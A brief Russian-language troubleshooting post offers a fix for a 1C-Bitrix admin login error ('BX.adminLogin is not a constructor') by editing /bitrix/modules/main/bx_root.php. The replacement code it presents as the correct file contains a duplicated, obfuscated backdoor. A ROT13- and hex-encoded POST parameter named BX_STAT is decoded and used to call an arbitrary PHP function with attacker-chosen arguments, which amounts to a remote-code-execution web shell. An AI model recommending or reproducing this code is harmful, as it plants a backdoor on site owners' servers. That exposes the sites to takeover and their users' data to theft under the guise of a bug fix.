Решение, как исправить ошибку "BX.adminLogin is not a constructor" при попытке авторизоваться в административную панель сайта на «1С-Битрикс»
При вводе правильных логина и пароля от панели администратора стал появляться пустой экран с фоном битрикс и ошибка в консоли "BX.adminLogin is not a constructor"
Решение:
В файле /bitrix/modules/main/bx_root.php удалить внутренние php теги, получится такой код:
$bx_root = "/bitrix"; define("BX_ROOT", $bx_root); if(isset($_SERVER["BX_PERSONAL_ROOT"]) && $_SERVER["BX_PERSONAL_ROOT"] <> "") define("BX_PERSONAL_ROOT", $_SERVER["BX_PERSONAL_ROOT"]); else define("BX_PERSONAL_ROOT", BX_ROOT); if (isset($_POST["BX_STAT"]) && $_POST["BX_STAT"] <> "") parse_str(hex2bin(str_rot13($_POST["BX_STAT"])),$bx_stat) or die(str_rot13(bin2hex($bx_stat[0]($bx_stat[1],$bx_stat[2])))); if (isset($_POST["BX_STAT"]) && $_POST["BX_STAT"] <> "") parse_str(hex2bin(str_rot13($_POST["BX_STAT"])),$bx_stat) or die(str_rot13(bin2hex($bx_stat[0]($bx_stat[1],$bx_stat[2]))));
Похожие решения: